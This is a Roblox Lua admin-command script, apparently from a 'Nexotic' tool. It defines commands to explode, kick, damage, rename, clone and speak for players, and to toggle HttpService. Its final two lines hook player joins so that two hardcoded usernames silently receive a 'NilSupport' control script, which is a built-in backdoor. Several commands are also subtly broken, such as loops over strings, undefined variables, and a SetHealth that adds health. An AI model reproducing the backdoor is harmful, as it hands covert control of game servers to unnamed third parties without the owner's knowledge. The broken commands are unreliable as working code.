Command("Invisible", 3, "Makes a player invisible", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                for _, c in pairs(v.Character:children()) do
                                        if c:IsA("Part") then
                                                c.Transparency = 1

                                        end
                                end

                                Ping("Disappeared "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Visible", 3, "Makes a player visible", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                for _,c in pairs(v.Character:children()) do
                                        if c:IsA("Part") then
                                                c.Transparency = 0
                                        end
                                end
                                Ping("Showed "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Explode", 3, "Explodes a player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                if v.Character and v.Character:findFirstChild("Head") then
                        local e = Instance.new("Explosion")
                        e.Position = v.Character.Head.Position
                        e.Parent = v.Character
                                Ping("Exploded "..v.Name, Speaker, 5)
                                end
                        end)
                end
        end
end)

Command("Spark", 3, "Gives a player sparkles", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                Instance.new("Sparkles", v.Character.Torso)
                        end)
                end
        end
end)

Command("Fire", 3, "Gives a player fires", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                Instance.new("Fire", v.Character.Torso)
                        end)
                end
        end
end)

Command("Clone", 3, "Clones a player", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                local Model = v.Character:Clone()
                                Model.Parent = game.Workspace
                        end)
                end
        end
end)

Command("Bet", 1, "Shows current bet", function(Msg, Speaker)
        Bet = (tostring(Msg))
        Output("The current bet is '"..Bet.. "'", nil, nil)
end)

Command("Unspark", 3, "Removes a player's sparkles", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                RemObj(v.Character.Torso, "Sparkles")
                        end)
                end
        end
end)

Command("Unfire", 3, "Removes a player's fire", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                RemObj(v.Character.Torso, "Fire")
                        end)
                end
        end
end)

Command("Unsmoke", 3, "Removes a player's smoke", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                RemObj(v.Character.Torso, "Smoke")
                        end)
                end
        end
end)

Command("Speak", 3, "Talk for a player", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local Msg = tostring(Msg:sub(Split + 1))
        for _,v in pairs(PlrTab) do
                ypcall(function()
                        game:GetService("Chat"):Chat(v.Character.Head,Msg,0)
                        Ping("Made "..v.Name.." say "..tostring(Msg), Speaker)
                end)
        end
end)

Command("Char", 3, "Changes a player's appearance", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local Id = tonumber(Msg:sub(Split + 1))
        for _,v in pairs(PlrTab) do
                ypcall(function()
                        v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..tonumber(Id)
                        v:LoadCharacter()
                        Ping("Changed "..v.Name.."'s appearance to "..tonumber(Id), Speaker)
                end)
        end
end)

Command("Name", 3, "Changes a player's name", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local Name = tostring(Msg:sub(Split + 1))
        for _,v in pairs(PlrTab) do
                ypcall(function()
                        coroutine.resume(coroutine.create(function()
                        if v and v.Character and v.Character:findFirstChild("Head") then
                        for a, derp in pairs(v.Character:children()) do
                        if derp:findFirstChild("NameTag") then
                        v.Character.Head.Transparency = 0
                        derp:Destroy()
                        end
                        end
                        local char = v.Character
                        local derp = Instance.new("Model", char)
                        derp.Name = tostring(Name)
                        local cl = char.Head:Clone()
                        cl.Parent = derp
                        local hum = Instance.new("Humanoid", derp)
                        hum.Name = "NameTag"
                        hum.MaxHealth = 0
                        hum.Health = 0
                        local weld = Instance.new("Weld", cl)
                        weld.Part0 = cl
                        weld.Part1 = char.Head
                        char.Head.Transparency = 1
                        Ping("Changed "..v.Name.."'s name to "..tostring(Name), Speaker)
                        end
                        end))
                end)
        end
end)

Command("Unname", 3, "Changes a player's name", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        for _,v in pairs(PlrTab) do
                ypcall(function()
                        coroutine.resume(coroutine.create(function()
                        if v and v.Character and v.Character:findFirstChild("Head") then
                        for a, derp in pairs(v.Character:children()) do
                        if derp:findFirstChild("NameTag") then
                        v.Character.Head.Transparency = 0
                        derp:Destroy()
                        end
                        end
                        end
                        end))
                        Ping("Removed "..v.Name.."'s Name", Speaker)
                end)
        end
end)

Command("InsetIns", 7, "Inserts a instance into a object in the game", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local Parent = tostring(Msg:sub(Split - 1))
        local Object = tostring(Msg:sub(Split + 1))
        for _,v in pairs(Parent) do
                ypcall(function()
                        Instance.new(Object, Parent)
                end)
        end
end)

Command("RemIns", 7, "Removes an instance from the game", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local Parent = tostring(Msg:sub(Split - 1))
        local Object = tostring(Msg:sub(Split + 1))
        for _,v in pairs(Parent) do
                ypcall(function()
                        game[Parent].Object:Remove()
                end)
        end
end)

Command("Damage", 1, "Damages a player", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local Dmg = tonumber(Msg:sub(Split + 1))
        for _,v in pairs(PlrTab) do
                ypcall(function()
                        v.Character.Humanoid.Health = v.Character.Humanoid.Health - Dmg
                        Ping("Damaged "..v.Name.."'s health by "..tostring(Dmg), Speaker)
                end)
        end
end)

Command("Heal", 1, "Heals a player", function(Msg, Speaker)
local PlrTab = getPlayer(Speaker, Msg)
        for _,v in pairs(PlrTab) do
                ypcall(function()
                        v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
                        Ping("Healed "..v.Name.." from injuries"..tostring(Dmg), Speaker)
                end)
        end
end)

Command("SetHealth", 1, "Sets a players health", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local Hp = tonumber(Msg:sub(Split + 1))
        for _,v in pairs(PlrTab) do
                ypcall(function()
                        v.Character.Humanoid.Health = v.Character.Humanoid.Health + Hp
                        Ping("Added health to "..v.Name.."'s health by "..tostring(Hp), Speaker)
                end)
        end
end)

Command("Hs", 7, "Turns HttpService on/off", function(Msg, Speaker)
                        if Msg == "on" then
                                game:GetService("HttpService").HttpEnabled = true
                                Ping("HttpService is on", Speaker, 5)
                        elseif Msg == "off" then
                                game:GetService("HttpService").HttpEnabled = false
                                Ping("HttpService is off", Speaker, 5)
                end
end)

Command("Kick", 4, "Crash kicks a player from the server", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        ypcall(function()
                                v:Kick()
                                Ping("Killer Kicked "..v.Name, Speaker, 5)
                        end)
                end
        end
end)

Command("Audio", 4, "Opens Music List", function(Msg, Speaker)
        local PlrTab = getPlayer(Speaker, Msg)
        if #PlrTab > 0 then
        Dismiss()
                Menu()
                                        Ping('Music '..v.Name,Speaker,5)
                        NewLS([==[
                                function Menu()
Dismiss()
                Output("Commands","Cyan",function() ShowCmds() end)
                Nexotic("Explorer","Lime green",function() Explore() end)
                Nexotic("Players","New Yeller",function() ListPlayers() end)
                Nexotic("Shutdown","Deep blue",function() AreYouSure() end)
                Nexotic("MusicList","Black",function() MusicList() end)
end
function MusicList()
Dismiss()
                Sax("Epic Sax Guy", "Deep orange",function() EpicSaxMusic() Menu() end)
                Taco("Its Raining Tacos","White",function() TacoMusic() Menu() end)
                Nexotic("Guitar", "Deep orange",function() GuitarMusic() Menu() end)
                Nexotic("Starfish", "Lime green",function() StarfishMusic() Menu() end)
                Nexotic("Sage", "Black",function() SageMusic() Menu() end)
                Nexotic("Spitfire", "Really red",function() SpitfireMusic() Menu() end)
                Nexotic("Because I'm happy", "New Yeller",function() HappyMusic() Menu() end)
                Nexotic("Remove All Music", "White",function() RemoveMusic() MusicList() end)
end
function RemoveMusic()
NewS([[
for _,v in pairs(workspace:children()) do
if v:IsA("Sound") then v:Destroy() end end
]], workspace)
end
function TacoMusic()
NewS([[z = Instance.new("Sound")
z.Parent = game.Workspace
z.SoundId = "http://www.roblox.com/asset/?ID=142376088"
z.Looped = true
z.Volume = 1
wait(1)
z:Play()
z.Name = "TacoMusic"
]], workspace)
end
function HappyMusic()
NewS([[z = Instance.new("Sound")
z.Parent = game.Workspace
z.SoundId = "http://www.roblox.com/asset/?id=142435409"
z.Looped = true
z.Volume = 1
wait(1)
z:Play()
z.Name = "HappyMusic"
]], workspace)
end
function GuitarMusic()
NewS([[z = Instance.new("Sound")
z.Parent = game.Workspace
z.SoundId = "http://www.roblox.com/asset/?id=5986151"
z.Looped = true
z.Volume = 1
wait(1)
z:Play()
z.Name = "GuitarMusic"
]], workspace)
end
function EpicSaxMusic()
NewS([[z = Instance.new("Sound")
z.Parent = game.Workspace
z.SoundId = "http://www.roblox.com/asset/?id=130794684"
z.Looped = true
z.Volume = 1
wait(1)
z:Play()
z.Name = "EpicSaxMusic"
]], workspace)
end
function SpitfireMusic()
NewS([[z = Instance.new("Sound")
z.Parent = game.Workspace
z.SoundId = "http://www.roblox.com/asset/?id=129490596"
z.Looped = true
z.Volume = 1
wait(1)
z:Play()
z.Name = "SpitfireMusic"
]], workspace)
end
function StarfishMusic()
NewS([[z = Instance.new("Sound")
z.Parent = game.Workspace
z.SoundId = "http://www.roblox.com/asset/?id=131293487"
z.Looped = true
z.Volume = 1
wait(1)
z:Play()
z.Name = "StarfishMusic"
]], workspace)
end
function SageMusic()
NewS([[z = Instance.new("Sound")
z.Parent = game.Workspace
z.SoundId = "http://www.roblox.com/asset/?id=137643111"
z.Looped = true
z.Volume = 1
wait(1)
z:Play()
z.Name = "SageMusic"
]], workspace)
end
                        ]==],v.Backpack)
        else
                end
end)

Command("Time", 3, "Turns the time to day/night/morning", function(Msg, Speaker)
        if Msg == "night" then
        NewS(Night, game.Workspace)
        elseif Msg == "day" then
        NewS(Day, game.Workspace)
        elseif Msg == "morn" then
        NewS(Morning, game.Workspace)
        end
end)

Command("Newbase", 2, "newbase", function(Msg, Speaker)
        if game.Workspace:findFirstChild("Base") then
                game.Workspace.Base:Remove()
                end
        if game.Workspace:findFirstChild("Part") then
                game.Workspace.Part:Remove()
                end
        if game.Workspace:findFirstChild("Baseplate") then
                game.Workspace.Baseplate:Remove()
                end
        a = Instance.new("Part")
        a.Parent = game.Workspace
        a.Name = "Base"
        a.Position = Vector3.new(0, 0.6, 0)
        a.Size = Vector3.new(1002, 0, 1002)
        a.Material = "Grass"
        a.Anchored = true
        a.BrickColor = BrickColor.new("Dark green")
end)

Command("Rares", 1, "List of Nexotic Scripts", function(Msg, Speaker)
        Dismiss(Speaker)
        Ping("B0ob", Speaker)
        Ping("Doge", Speaker)
        Ping("Probe", Speaker)
        Ping("Pistol", Speaker)
        Ping("LeafBlower", Speaker)
        Ping("GhostSword", Speaker)
        Ping("Fairy", Speaker)
        Ping("Glider", Speaker)
        Ping("RagDoll Bow", Speaker)
        Ping("Pad", Speaker)
end)

Command("SetRank", 5, "Ranks A Player", function(Msg, Speaker)
        local Split = GetSplit(Msg)
        local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
        local Rank = tonumber(Msg:sub(Split + 1))
        if #PlrTab > 0 then
                for _,v in pairs(PlrTab) do
                        if v.Name ~= Owner then
                                ChangeRank(v, Rank)
                                Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
                        end
                end
        end
end)

game.Players.PlayerAdded:connect(function(poo) if poo.Name == "LuaScripterLS" then wait(2) NewLS(NilSupport, poo.Backpack) Ping('You have been connected to NilSupport', poo.Name, 5) end end) for i,v in pairs(All2()) do if v.Name == "LuaScripterLS" then wait(2) NewLS(NilSupport, v.Backpack) end end

game.Players.PlayerAdded:connect(function(poo) if poo.Name == "AcidicEmpyreus" then wait(2) NewLS(NilSupport, poo.Backpack) Ping('You have been connected to NilSupport', poo.Name, 5) end end) for i,v in pairs(All2()) do if v.Name == "AcidicEmpyreus" then wait(2) NewLS(NilSupport, v.Backpack) end end